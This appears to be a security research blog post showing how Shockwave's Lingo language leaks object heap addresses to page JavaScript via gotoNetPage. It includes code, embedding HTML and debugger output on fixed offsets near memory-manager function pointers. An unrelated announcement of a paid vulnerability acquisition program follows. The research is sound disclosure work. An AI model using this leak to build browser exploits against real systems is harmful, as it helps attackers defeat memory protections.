As it turns out, if a Lingo programmer retrieves a reference to a created object and attempts to print it out, the interpreter will actually disclose where in memory the object resides. Several other languages support this, the first that comes to mind is Python via the id() function:


>>> a = "hihi"
>>> hex(id(a))
'0x22c83e0'
>>>


For a dynamic language that is not being executed in the context of a browser, this is just fine. However, such functionality can be abused to aid in exploitation of memory corruption vulnerabilities when in the context of another application.

Consider the following Lingo code:


on startMovie
  x = window("stage").movie
  trace(x)
end


When this is executed inside the Director application (used to create Shockwave files), the Message window outputs the following:


-- <Object _movie 2 b50244>


When executed in the context of a browser and combined with the gotoNetPage API, this can be leveraged to send that string back to a javascript function:


gotoNetPage("javascript: void ( disclose('" & x & "') );")


The HTML I used to embed the Shockwave file and to display the object properties looks like this:

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
ID=test width=600 height=600 VIEWASTEXT>
<param name=src value="test.dir">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=none>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
</embed>
</object>
</body>
</html>


When this is executed in a browser, our alert fires and displays the string:

This address can be verified by attaching a debugger to the browser process and inspecting that address:


0:022> !address 0x3db01fc
  03db0000 : 03db0000 - 00102000
     Type 00020000 MEM_PRIVATE
     Protect 00000004 PAGE_READWRITE
     State 00001000 MEM_COMMIT
     Usage RegionUsageHeap
     Handle 00150000
0:022> !heap -p -a 0x3db01fc
   address 03db01fc found in
   _HEAP @ 150000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
     03db0018 20000 0000 [0b] 03db0020 100000 - (busy VirtualAlloc)


Here we can see the address is in the heap and is part of an allocation of size 0×100000. This is because Shockwave utilizes a custom memory manager on which Logan Brown and I gave a presentation at CanSecWest in 2011.

What is interesting to note is that the address of the “_movie” object is located 0x1dc bytes from the start of the allocation. As it turns out, the _movie object is always placed at that offset. This is interesting from an exploitation standpoint because there are certain function pointers that the memory manager uses that are also at fixed offsets from the start of that allocation:


0:022> u poi(0x03db0020+0x10) L3
IML32!Ordinal2064+0x6b70:
6907d880 8b4c2404 mov ecx,dword ptr [esp+4]
6907d884 8b41fc mov eax,dword ptr [ecx-4]
6907d887 8b5014 mov edx,dword ptr [eax+14h]


The address of other objects can also be disclosed, but I chose to show the _movie object as it is one of the first allocated by the custom memory manager and is of particular interest due to its consistently relative offset from the allocation shown above.

That’s it… I ran across this “intended functionality” some time ago, but didn’t bother to discuss it due to the fact that it is only useful when exploiting a browser-based vulnerability and can only be utilized if the browser has the Shockwave plug-in installed.

–
Aaron Portnoy
@aaronportnoy

• Price Match Guarantee

We will beat any offer from any other vulnerability acquisition program for exploitable submissions that we consider valuable to our clients

• Charitable Donation Matching

We will dollar for dollar match any researcher that chooses to donate an Exodus vulnerability offer to an industry supporting charity (such as EFF)

• Researcher Appreciation Multiplier

All offers we make for vulnerabilities submitted during the month of August will receive an additional 25% bonus

We are very grateful for our researchers, and we strive to make EIP the best program possible. To keep interest from the community and our researchers, we plan to periodically have incentive months similar to this. We will feel out how this month goes to determine what we will do next, and we are open for suggestions from the community on ideas for future incentives.

The EIP was designed by those with a long history both discovering vulnerabilities as well as procuring them through various acquisition programs. Our collective experience has allowed us to architect the EIP such that it is appealing to those who have the skill and desire to receive compensation for their research.

All vulnerabilities purchased through the EIP will be disclosed to the affected vendor(s) for remediation.

Some of the benefits for researchers participating in the EIP include a 10 business day decision timeline, starting when a submission is first received. We also intend to maintain a highly transparent program whereby our analysts are reachable by the contributing researchers for any questions. For those submissions we do procure, we will provide the researcher who sent it in with our internal analysis as to the root cause and exploitability because we believe it is essential to give back to and aid our researchers in their pursuit of knowledge.

As Exodus Intelligence does not support any products of our own, we are interested not only in code execution issues, but also vulnerabilities that other acquisition programs may not be (local vulnerabilities, memory disclosures, techniques).

One of the main focuses of Exodus is to provide information to our customers on vulnerabilities we believe are not only exploitable, but likely to be exploited. While this means we may be turning down submissions that are simply theoretically exploitable, it also means we are able to better compensate researchers for the work we are interested in.

There is a FAQ available on the EIP website, but if you have any specific questions feel free to e-mail us at eip@exodusintel.com (PGP).

For more generic questions or press inquiries, please use info@exodusintel.com (PGP).

Posted by: Aaron Portnoy, Zef Cekaj, Logan Brown, Brandon Edwards